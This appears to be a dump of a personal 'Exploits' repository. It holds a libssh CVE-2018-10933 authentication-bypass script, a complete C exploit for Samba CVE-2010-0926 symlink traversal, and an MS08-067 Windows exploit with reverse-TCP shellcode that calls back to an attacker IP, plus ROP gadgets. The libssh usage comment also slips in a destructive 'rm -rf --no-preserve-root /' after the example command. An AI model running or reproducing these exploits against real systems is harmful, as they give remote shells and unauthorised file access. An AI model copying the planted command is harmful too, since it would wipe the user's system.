THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | <<<<<<< HEAD 676 | 677 | ======= 678 | >>>>>>> 24769d08d824b9deb322ecc5f98fee168837ad4f 679 | -------------------------------------------------------------------------------- /Other/ssh/libssh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Made by Mark Buffalo 4 | # Usage: ./l2readpython.py www.vulnerable-ssh.com 22 ; rm -rf --no-preserve-root / 5 | # For: CVE-2018-10933 6 | 7 | from paramiko import common 8 | from paramiko import Message 9 | from paramiko import Transport 10 | from paramiko import util 11 | 12 | import socket 13 | import sys 14 | 15 | # I hope you figured out what this means. 16 | port = int(sys.argv[2]) 17 | 18 | # This is for logging debug information 19 | util.log_to_file("ssh.log") 20 | 21 | try: 22 | # First we're going to assume you can read. 23 | with open(sys.argv[1]) as ssh_targets: 24 | s = socket.socket() 25 | # Let's get rid of the '\n' that infests people who use .readlines() while forcing them to utilize .rstrip() 26 | ip_list = ssh_targets.read().splitlines() 27 | for ip in ip_list: 28 | try: 29 | print("Attempting to connect to {}:{}...".format(ip, port)) 30 | s.connect((ip, port)) 31 | 32 | msg = Message() 33 | 34 | trans = Transport(s) 35 | trans.start_client() 36 | 37 | print("Attempting to send MSG_USERAUTH_SUCCESS...") 38 | msg.add_byte(common.cMSG_USERAUTH_SUCCESS) 39 | 40 | cmd = trans.open_session() 41 | 42 | print("Attempting to load shell...") 43 | cmd.invoke_shell() 44 | except Exception as e: 45 | print(str(e)) 46 | except FileNotFoundError as e: 47 | print("File not found: {}".format(sys.argv[1])) 48 | except Exception as e: 49 | print("Possible PEKBAC error: {}".format(str(e))) 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | I am not responsible for misuse of this repository. 2 | 3 | # Exploits 4 | Contains potentially useful exploits. Not the author unless otherwise stated. Also not responsible for misuse. This is a very early repository lacking a lot of things. Need to vet stuff before uploading. 5 | 6 | # Samba 7 | - Samba 3.0.24 Directory Traversal Vulnerability. 8 | 9 | # Other 10 | - Some libssh exploit I wrote the other day. I think they called it CVE-2018-10933. 11 | 12 | # Chrome 13 | - Helps steal credentials across subdomains in Chrome 57+. Think *.azurewebsites.net, *.amazonaws.com, *.wpengine.com, etc. Chrome is the only browser that does this wrong at this present. 14 | -------------------------------------------------------------------------------- /Samba/CVE-2010-0926.c: -------------------------------------------------------------------------------- 1 | /* 2 | Exploits CVE-2010-0926, Samba symlink directory traversal. 3 | This is a crude hack of the network protocol for creating a symlink through CIFS. 4 | Verified on a Samba 3.0.24 server writable share with guest credentials. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define buf_size 4000 17 | #define ipc "\\IPC$" 18 | #define service "?????" 19 | 20 | // offsets marked (var) calculated at runtime. 21 | unsigned char negotiate_protocol[] = { 22 | 0x00, // session message 23 | 0x00, 0x00, 0x32, // message length 24 | 0xff, 0x53, 0x4d, 0x42, // SMB 25 | 0x72, // negotiate 26 | 0x00, // success 27 | 0x00, // reserved 28 | 0x00, 0x00, // success 29 | 0x18, // canonicalize path, no case 30 | 0x01, 0x28, // XORD, ext sec, long names 31 | 0x00, 0x00, // PID hi 32 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 33 | 0x00, 0x00, // reserved 34 | 0x00, 0x00, // tree ID 35 | 0x00, 0x00, // PID lo (var) 30 36 | 0x00, 0x00, // user ID 37 | 0x00, 0x00, // multiplex ID (var) 34 38 | 0x00, // word count 39 | 0x0f, 0x00, // byte count 40 | 0x02, // dialect 41 | 0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, // NT LANMAN 1.0 42 | 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00 // NT LANMAN 1.0 43 | }; 44 | 45 | unsigned char session_setup[] = { 46 | 0x00, // session message 47 | 0x00, 0x00, 0x63, // message length 48 | 0xff, 0x53, 0x4d, 0x42, // SMB 49 | 0x73, // session setup 50 | 0x00, // success 51 | 0x00, // reserved 52 | 0x00, 0x00, // success 53 | 0x18, // canonicalize path, no case 54 | 0x01, 0x20, // XORD, long names 55 | 0x00, 0x00, // PID hi 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 57 | 0x00, 0x00, // reserved 58 | 0x00, 0x00, // tree ID 59 | 0x00, 0x00, // PID lo (var) 30 60 | 0x00, 0x00, // user ID 61 | 0x00, 0x00, // multiplex ID (var) 34 62 | 0x0d, // word count 63 | 0xff, // AndX no further 64 | 0x00, // reserved 65 | 0x00, 0x00, // AndX offset 66 | 0xdc, 0xff, // max buffer 65500 67 | 0x02, 0x00, // max mux count 68 | 0x01, 0x00, // vc number 69 | 0x00, 0x00, 0x00, 0x00, // session key (var) 47 70 | 0x00, 0x00, // password length 8 71 | 0x00, 0x00, // password length 16 72 | 0x00, 0x00, 0x00, 0x00, // reserved 73 | 0x40, 0x00, 0x00, 0x00, // capabilities 74 | 0x26, 0x00, // byte count 75 | 0x00, // account 76 | 0x2e, 0x00, // domain 77 | 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, // OS 78 | 0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39, // OS 79 | 0x35, 0x00, // OS 80 | 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, // OS 81 | 0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, // OS 82 | 0x00 // OS 83 | }; 84 | 85 | unsigned char tree_ipc[] = { 86 | 0x00, // session message 87 | 0x00, 0x00, 0x00, // message length (var) 3 88 | 0xff, 0x53, 0x4d, 0x42, // SMB 89 | 0x75, // AndX tree connect 90 | 0x00, // success 91 | 0x00, // reserved 92 | 0x00, 0x00, // success 93 | 0x18, // canonicalize path, no case 94 | 0x01, 0x28, // XORD, ext sec, long name 95 | 0x00, 0x00, // PID hi 96 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 97 | 0x00, 0x00, // reserved 98 | 0x00, 0x00, // tree ID 99 | 0x00, 0x00, // PID lo (var) 30 100 | 0x00, 0x00, // user ID 101 | 0x00, 0x00, // multiplex ID (var) 34 102 | 0x04, // word count 103 | 0xff, // AndX no further 104 | 0x00, // reserved 105 | 0x00, 0x00, // AndX offset 106 | 0x00, 0x00, // flags 107 | 0x01, 0x00, // password length 108 | 0x00, 0x00, // byte count (var) 45 109 | 0x00 // password 110 | }; 111 | 112 | unsigned char tree_share[] = { 113 | 0x00, // session message 114 | 0x00, 0x00, 0x00, // message length (var) 3 115 | 0xff, 0x53, 0x4d, 0x42, // SMB 116 | 0x75, // AndX tree connect 117 | 0x00, // success 118 | 0x00, // reserved 119 | 0x00, 0x00, // success 120 | 0x18, // canonicalize path, no case 121 | 0x01, 0x28, // XORD, ext sec, long name 122 | 0x00, 0x00, // PID hi 123 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 124 | 0x00, 0x00, // reserved 125 | 0x00, 0x00, // tree ID 126 | 0x00, 0x00, // PID lo (var) 30 127 | 0x00, 0x00, // user ID 128 | 0x00, 0x00, // multiplex ID (var) 34 129 | 0x04, // word count 130 | 0xff, // AndX no further 131 | 0x00, // reserved 132 | 0x00, 0x00, // AndX offset 133 | 0x00, 0x00, // flags 134 | 0x01, 0x00, // password length 135 | 0x00, 0x00, // byte count (var) 45 136 | 0x00 // password 137 | }; 138 | 139 | unsigned char trans2_link[] = { 140 | 0x00, // session message 141 | 0x00, 0x00, 0x00, // message length (var) 3 142 | 0xff, 0x53, 0x4d, 0x42, // SMB 143 | 0x32, // Trans2 144 | 0x00, // success 145 | 0x00, // reserved 146 | 0x00, 0x00, // success 147 | 0x18, // canonicalize path, no case 148 | 0x01, 0x28, // XORD, ext sec, long name 149 | 0x00, 0x00, // PID hi 150 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 151 | 0x00, 0x00, // reserved 152 | 0x00, 0x00, // tree ID (var) 28 153 | 0x00, 0x00, // PID lo (var) 30 154 | 0x00, 0x00, // user ID 155 | 0x00, 0x00, // multiplex ID (var) 34 156 | 0x0f, // word count 157 | 0x00, 0x00, // parameter count (var) 37 158 | 0x00, 0x00, // total data count (var) 39 159 | 0x00, 0x04, // max parameter count 160 | 0xe8, 0xfd, // max data count 161 | 0x00, // max setup count 162 | 0x00, // reserved 163 | 0x00, 0x00, // flags 164 | 0x00, 0x00, 0x00, 0x00, // timeout 165 | 0x00, 0x00, // reserved 166 | 0x00, 0x00, // parameter count (var) 55 167 | 0x41, 0x00, // parameter offset 168 | 0x00, 0x00, // data count (var) 59 169 | 0x00, 0x00, // data offset (var) 61 170 | 0x01, // setup count 171 | 0x00, // reserved 172 | 0x06, 0x00, // set path info 173 | 0x00, 0x00, // byte count (var) 67 174 | 0x01, 0x02, // set unix link 175 | 0x00, 0x00, 0x00, 0x00 // reserved 176 | }; 177 | 178 | int usage(char *s); 179 | 180 | int main(int argc, char **argv) 181 | { 182 | int sock, ret; 183 | unsigned int skey; 184 | struct sockaddr_in victim; 185 | char buf[buf_size], temp[buf_size]; 186 | char challenge[8]; 187 | short pidlo, muxid, tid; 188 | 189 | if(argc != 5) 190 | { 191 | usage(argv[0]); 192 | 193 | return -1; 194 | } 195 | if(strlen(argv[1]) > 15 || strlen(argv[2]) > 20 || strlen(argv[3]) > 20 || strlen(argv[4]) > 80) 196 | { 197 | fprintf(stderr, "parameter length error.\n"); 198 | 199 | return -1; 200 | } 201 | srand(time(NULL)); 202 | sock = socket(AF_INET, SOCK_STREAM, 0); 203 | if(sock == -1) 204 | { 205 | fprintf(stderr, "socket creation failed.\n"); 206 | 207 | return -1; 208 | } 209 | victim.sin_addr.s_addr = inet_addr(argv[1]); 210 | victim.sin_family = AF_INET; 211 | victim.sin_port = htons(445); 212 | if(connect(sock, (struct sockaddr *)&victim, sizeof(victim)) < 0) 213 | { 214 | fprintf(stderr, "failed to connect to %s.\n", argv[1]); 215 | 216 | return -1; 217 | } 218 | pidlo = (short)rand(); 219 | muxid = (short)rand(); 220 | *((short *)&negotiate_protocol[30]) = pidlo; 221 | *((short *)&negotiate_protocol[34]) = muxid; 222 | if(send(sock, negotiate_protocol, sizeof(negotiate_protocol), 0) < 0) 223 | { 224 | fprintf(stderr, "failed to send negotiation.\n"); 225 | 226 | close(sock); 227 | return -1; 228 | } 229 | if((ret = recv(sock, buf, buf_size, 0)) < 0) 230 | { 231 | fprintf(stderr, "failed to receive negotiation.\n"); 232 | 233 | close(sock); 234 | return -1; 235 | } 236 | if(ret < 81) 237 | { 238 | fprintf(stderr, "receive negotiation too short.\n"); 239 | 240 | close(sock); 241 | return -1; 242 | } 243 | if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x72 && 244 | *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && 245 | *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[28]) != 0 && 246 | *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && 247 | *((short *)&buf[34]) != muxid && *((short *)&buf[37]) != 0 && 248 | buf[39] != 0x02 && !(*(unsigned int *)&buf[56] & 0x00800070) && 249 | buf[70] != 8) 250 | { 251 | fprintf(stderr, "receive negotiation parse error.\n"); 252 | 253 | close(sock); 254 | return -1; 255 | } 256 | memcpy(challenge, &buf[73], 8); 257 | skey = *(unsigned int *)&buf[52]; 258 | *((short *)&session_setup[30]) = pidlo; 259 | *((short *)&session_setup[34]) = muxid; 260 | *((short *)&session_setup[47]) = skey; 261 | if(send(sock, session_setup, sizeof(session_setup), 0) < 0) 262 | { 263 | fprintf(stderr, "failed to send setup.\n"); 264 | 265 | close(sock); 266 | return -1; 267 | } 268 | if((ret = recv(sock, buf, buf_size, 0)) < 0) 269 | { 270 | fprintf(stderr, "failed to receive setup.\n"); 271 | 272 | close(sock); 273 | return -1; 274 | } 275 | if(ret < 43) 276 | { 277 | fprintf(stderr, "receive setup too short.\n"); 278 | 279 | close(sock); 280 | return -1; 281 | } 282 | if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x73 && 283 | *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && 284 | *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[28]) != 0 && 285 | *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && 286 | *((short *)&buf[34]) != muxid && buf[37] != 0xff && buf[38] != 0 && 287 | *((short *)&buf[39]) != 0 && *((short *)&buf[41]) != 0) 288 | { 289 | fprintf(stderr, "receive setup parse error.\n"); 290 | 291 | close(sock); 292 | return -1; 293 | } 294 | *((short *)&tree_ipc[30]) = pidlo; 295 | *((short *)&tree_ipc[34]) = muxid; 296 | *((short *)&tree_ipc[45]) = (short)(1 + 2 + strlen(argv[1]) + strlen(ipc) + 1 + strlen(service) + 1); 297 | tree_ipc[3] = (unsigned char)(43 + *((short *)&tree_ipc[45])); 298 | sprintf(temp, "\\\\%s%s", argv[1], ipc); 299 | memcpy(buf, tree_ipc, sizeof(tree_ipc)); 300 | memcpy(buf + sizeof(tree_ipc), temp, strlen(temp) + 1); 301 | memcpy(buf + sizeof(tree_ipc) + strlen(temp) + 1, service, strlen(service) + 1); 302 | if(send(sock, buf, sizeof(tree_ipc) + strlen(temp) + 1 + strlen(service) + 1, 0) < 0) 303 | { 304 | fprintf(stderr, "failed to send tree ipc.\n"); 305 | 306 | close(sock); 307 | return -1; 308 | } 309 | if((ret = recv(sock, buf, buf_size, 0)) < 0) 310 | { 311 | fprintf(stderr, "failed to receive tree ipc.\n"); 312 | 313 | close(sock); 314 | return -1; 315 | } 316 | if(ret < 36) 317 | { 318 | fprintf(stderr, "receive tree ipc too short.\n"); 319 | 320 | close(sock); 321 | return -1; 322 | } 323 | if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x75 && 324 | *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && 325 | *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[26]) != 0 && 326 | *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && 327 | *((short *)&buf[34]) != muxid) 328 | { 329 | fprintf(stderr, "receive tree ipc parse error.\n"); 330 | 331 | close(sock); 332 | return -1; 333 | } 334 | *((short *)&tree_share[30]) = pidlo; 335 | *((short *)&tree_share[34]) = muxid; 336 | *((short *)&tree_share[45]) = (short)(1 + 2 + strlen(argv[1]) + 1 + strlen(argv[2]) + 1 + strlen(service) + 1); 337 | tree_share[3] = (unsigned char)(43 + *((short *)&tree_share[45])); 338 | sprintf(temp, "\\\\%s\\%s", argv[1], argv[2]); 339 | memcpy(buf, tree_share, sizeof(tree_share)); 340 | memcpy(buf + sizeof(tree_share), temp, strlen(temp) + 1); 341 | memcpy(buf + sizeof(tree_share) + strlen(temp) + 1, service, strlen(service) + 1); 342 | if(send(sock, buf, sizeof(tree_share) + strlen(temp) + 1 + strlen(service) + 1, 0) < 0) 343 | { 344 | fprintf(stderr, "failed to send tree share.\n"); 345 | 346 | close(sock); 347 | return -1; 348 | } 349 | if((ret = recv(sock, buf, buf_size, 0)) < 0) 350 | { 351 | fprintf(stderr, "failed to receive tree share.\n"); 352 | 353 | close(sock); 354 | return -1; 355 | } 356 | if(ret < 36) 357 | { 358 | fprintf(stderr, "receive tree share too short.\n"); 359 | 360 | close(sock); 361 | return -1; 362 | } 363 | if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x75 && 364 | *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && 365 | *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[26]) != 0 && 366 | *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && 367 | *((short *)&buf[34]) != muxid) 368 | { 369 | fprintf(stderr, "receive tree share parse error.\n"); 370 | 371 | close(sock); 372 | return -1; 373 | } 374 | tid = *((short *)&buf[28]); 375 | *((short *)&trans2_link[28]) = tid; 376 | *((short *)&trans2_link[30]) = pidlo; 377 | *((short *)&trans2_link[34]) = muxid; 378 | *((short *)&trans2_link[37]) = (short)(2 + 4 + strlen(argv[3]) + 1); 379 | *((short *)&trans2_link[39]) = (short)(strlen(argv[4]) + 1); 380 | *((short *)&trans2_link[55]) = (short)(2 + 4 + strlen(argv[3]) + 1); 381 | *((short *)&trans2_link[59]) = (short)(strlen(argv[4]) + 1); 382 | *((short *)&trans2_link[61]) = (short)(65 + 2 + 4 + strlen(argv[3]) + 1); 383 | *((short *)&trans2_link[67]) = (short)(2 + 4 + strlen(argv[3]) + 1 + strlen(argv[4]) + 1); 384 | trans2_link[3] = (unsigned char)(71 + strlen(argv[3]) + 1 + strlen(argv[4]) + 1); 385 | memcpy(buf, trans2_link, sizeof(trans2_link)); 386 | memcpy(buf + sizeof(trans2_link), argv[3], strlen(argv[3]) + 1); 387 | memcpy(buf + sizeof(trans2_link) + strlen(argv[3]) + 1, argv[4], strlen(argv[4]) + 1); 388 | if(send(sock, buf, sizeof(trans2_link) + strlen(argv[3]) + 1 + strlen(argv[4]) + 1, 0) < 0) 389 | { 390 | fprintf(stderr, "failed to send trans2 link.\n"); 391 | 392 | close(sock); 393 | return -1; 394 | } 395 | if((ret = recv(sock, buf, buf_size, 0)) < 0) 396 | { 397 | fprintf(stderr, "failed to receive trans2 link.\n"); 398 | 399 | close(sock); 400 | return -1; 401 | } 402 | if(ret < 13) 403 | { 404 | fprintf(stderr, "receive trans2 link too short.\n"); 405 | 406 | close(sock); 407 | return -1; 408 | } 409 | if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x32 && 410 | *((int *)&buf[9])) 411 | { 412 | fprintf(stderr, "receive trans2 link parse error.\n"); 413 | 414 | close(sock); 415 | return -1; 416 | } 417 | printf("Attempt to access %s through symlink %s from Windows or smbclient.\n", argv[4], argv[3]); 418 | 419 | close(sock); 420 | 421 | return 0; 422 | } 423 | 424 | int usage(char *s) 425 | { 426 | fprintf(stderr, "%s \n", s); 427 | fprintf(stderr, " The IP address of the target system, e.g. 192.168.10.11\n"); 428 | fprintf(stderr, " The writable share name, e.g. 'My Folder'\n"); 429 | fprintf(stderr, " The new link, e.g. rootdir\n"); 430 | fprintf(stderr, " The existing file, e.g. ../../../\n"); 431 | } 432 | -------------------------------------------------------------------------------- /Windows/ms08-067.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import time 3 | import sys 4 | 5 | 6 | from threading import Thread #Thread is imported incase you would like to modify 7 | 8 | 9 | try: 10 | 11 | from impacket import smb 12 | 13 | from impacket import uuid 14 | 15 | from impacket import dcerpc 16 | 17 | from impacket.dcerpc.v5 import transport 18 | 19 | 20 | except ImportError, _: 21 | 22 | print 'Install the following library to make this script work' 23 | 24 | print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' 25 | 26 | print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' 27 | 28 | sys.exit(1) 29 | 30 | 31 | print '#######################################################################' 32 | 33 | print '# MS08-067 Exploit' 34 | 35 | print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' 36 | 37 | print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' 38 | 39 | print '#######################################################################\n' 40 | 41 | 42 | #Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40; 43 | #Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included) 44 | #EXITFUNC=thread Important! 45 | 46 | # Modified by Mark Buffalo (below 2 comments) 47 | # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.162 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode --nops 32 48 | # Note: For this to work out of the box, ensure that your payload size is EXACTLY 380 bytes. You can use --nops # to to make it work. Example: --nops 32. 49 | shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 50 | shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 51 | shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 52 | shellcode += "\xd6\x92\x9b\x9b\xf5\x9f\xfc\x43\x48\x48\x37\x9b" 53 | shellcode += "\xfc\x37\x91\x37\x92\xfd\x90\x93\xfc\x37\x92\x48" 54 | shellcode += "\x48\x99\x27\x3f\x48\x90\x9b\x93\x29\xc9\x83\xe9" 55 | shellcode += "\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x22" 56 | shellcode += "\x54\x92\xda\x83\xee\xfc\xe2\xf4\xde\xbc\x10\xda" 57 | shellcode += "\x22\x54\xf2\x53\xc7\x65\x52\xbe\xa9\x04\xa2\x51" 58 | shellcode += "\x70\x58\x19\x88\x36\xdf\xe0\xf2\x2d\xe3\xd8\xfc" 59 | shellcode += "\x13\xab\x3e\xe6\x43\x28\x90\xf6\x02\x95\x5d\xd7" 60 | shellcode += "\x23\x93\x70\x28\x70\x03\x19\x88\x32\xdf\xd8\xe6" 61 | shellcode += "\xa9\x18\x83\xa2\xc1\x1c\x93\x0b\x73\xdf\xcb\xfa" 62 | shellcode += "\x23\x87\x19\x93\x3a\xb7\xa8\x93\xa9\x60\x19\xdb" 63 | shellcode += "\xf4\x65\x6d\x76\xe3\x9b\x9f\xdb\xe5\x6c\x72\xaf" 64 | shellcode += "\xd4\x57\xef\x22\x19\x29\xb6\xaf\xc6\x0c\x19\x82" 65 | shellcode += "\x06\x55\x41\xbc\xa9\x58\xd9\x51\x7a\x48\x93\x09" 66 | shellcode += "\xa9\x50\x19\xdb\xf2\xdd\xd6\xfe\x06\x0f\xc9\xbb" 67 | shellcode += "\x7b\x0e\xc3\x25\xc2\x0b\xcd\x80\xa9\x46\x79\x57" 68 | shellcode += "\x7f\x3c\xa1\xe8\x22\x54\xfa\xad\x51\x66\xcd\x8e" 69 | shellcode += "\x4a\x18\xe5\xfc\x25\xab\x47\x62\xb2\x55\x92\xda" 70 | shellcode += "\x0b\x90\xc6\x8a\x4a\x7d\x12\xb1\x22\xab\x47\x8a" 71 | shellcode += "\x72\x04\xc2\x9a\x72\x14\xc2\xb2\xc8\x5b\x4d\x3a" 72 | shellcode += "\xdd\x81\x05\xb0\x27\x3c\x98\xd1\x22\xf6\xfa\xd8" 73 | shellcode += "\x22\x55\x29\x53\xc4\x3e\x82\x8c\x75\x3c\x0b\x7f" 74 | shellcode += "\x56\x35\x6d\x0f\xa7\x94\xe6\xd6\xdd\x1a\x9a\xaf" 75 | shellcode += "\xce\x3c\x62\x6f\x80\x02\x6d\x0f\x4a\x37\xff\xbe" 76 | shellcode += "\x22\xdd\x71\x8d\x75\x03\xa3\x2c\x48\x46\xcb\x8c" 77 | shellcode += "\xc0\xa9\xf4\x1d\x66\x70\xae\xdb\x23\xd9\xd6\xfe" 78 | shellcode += "\x32\x92\x92\x9e\x76\x04\xc4\x8c\x74\x12\xc4\x94" 79 | shellcode += "\x74\x02\xc1\x8c\x4a\x2d\x5e\xe5\xa4\xab\x47\x53" 80 | shellcode += "\xc2\x1a\xc4\x9c\xdd\x64\xfa\xd2\xa5\x49\xf2\x25" 81 | shellcode += "\xf7\xef\x72\xc7\x08\x5e\xfa\x7c\xb7\xe9\x0f\x25" 82 | shellcode += "\xf7\x68\x94\xa6\x28\xd4\x69\x3a\x57\x51\x29\x9d" 83 | shellcode += "\x31\x26\xfd\xb0\x22\x07\x6d\x0f" 84 | 85 | 86 | 87 | nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10 88 | disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62" 89 | ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01"; 90 | module_base = 0x6f880000 91 | def generate_rop(rvas): 92 | gadget1="\x90\x5a\x59\xc3" 93 | gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] 94 | gadget3="\xcc\x90\xeb\x5a" 95 | ret=struct.pack('\n' % sys.argv[0] 210 | 211 | print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n' 212 | print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n' 213 | 214 | sys.exit(-1) 215 | 216 | 217 | 218 | current = SRVSVC_Exploit(target, os) 219 | 220 | current.start() 221 | --------------------------------------------------------------------------------